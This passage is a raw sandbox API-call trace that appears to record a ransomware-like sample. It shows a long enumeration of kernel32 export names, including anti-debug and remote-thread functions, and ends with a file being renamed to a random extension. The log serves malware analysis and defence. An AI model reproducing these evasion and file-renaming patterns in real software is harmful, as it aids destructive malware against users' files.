(lpString="CHECKELEVATIONENABLED") returned 21 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.501] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.501] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.501] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.501] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.501] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.501] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.502] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.502] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.502] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.502] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.502] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.502] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.502] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.502] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.502] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.502] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.502] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.503] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.503] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.503] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.503] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.503] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.503] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.503] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.503] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.503] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.503] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.503] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0147.503] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.503] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.503] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.503] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.503] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.504] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.504] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.504] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.504] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.504] lstrlenA (lpString="COPYFILE2") returned 9 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.504] lstrlenA (lpString="COPYFILEA") returned 9 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.504] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.504] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.504] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.504] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.504] lstrlenA (lpString="COPYFILEW") returned 9 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.504] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.504] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.504] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.504] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.504] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.505] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.505] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.505] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.505] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.505] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.505] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.505] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.505] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.505] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.505] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.505] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.505] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.505] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.505] lstrlenA (lpString="CREATEFIBER") returned 11 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.505] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.505] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.506] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.506] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.506] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.506] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.506] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.506] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.506] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.506] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.506] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.506] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.506] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.506] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.506] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.506] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.506] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.506] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.506] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.507] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.507] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.507] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.507] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.507] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.507] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.507] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.507] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.507] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.507] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.507] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.507] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.507] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.507] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.507] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.507] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.507] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.508] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.508] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.508] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.508] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.508] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.508] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.508] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.508] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.508] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.508] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.508] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.508] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.508] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.508] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.508] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.508] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.508] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.508] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.509] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.509] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.509] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.509] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.509] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.509] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.509] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.509] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.8P1G5") returned 48 [0147.510] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.8P1G5" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.8p1g5"), dwFlags=0x0) returned 1 [0147.510] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.511] VirtualFree (lpAddress=0x2d30000, 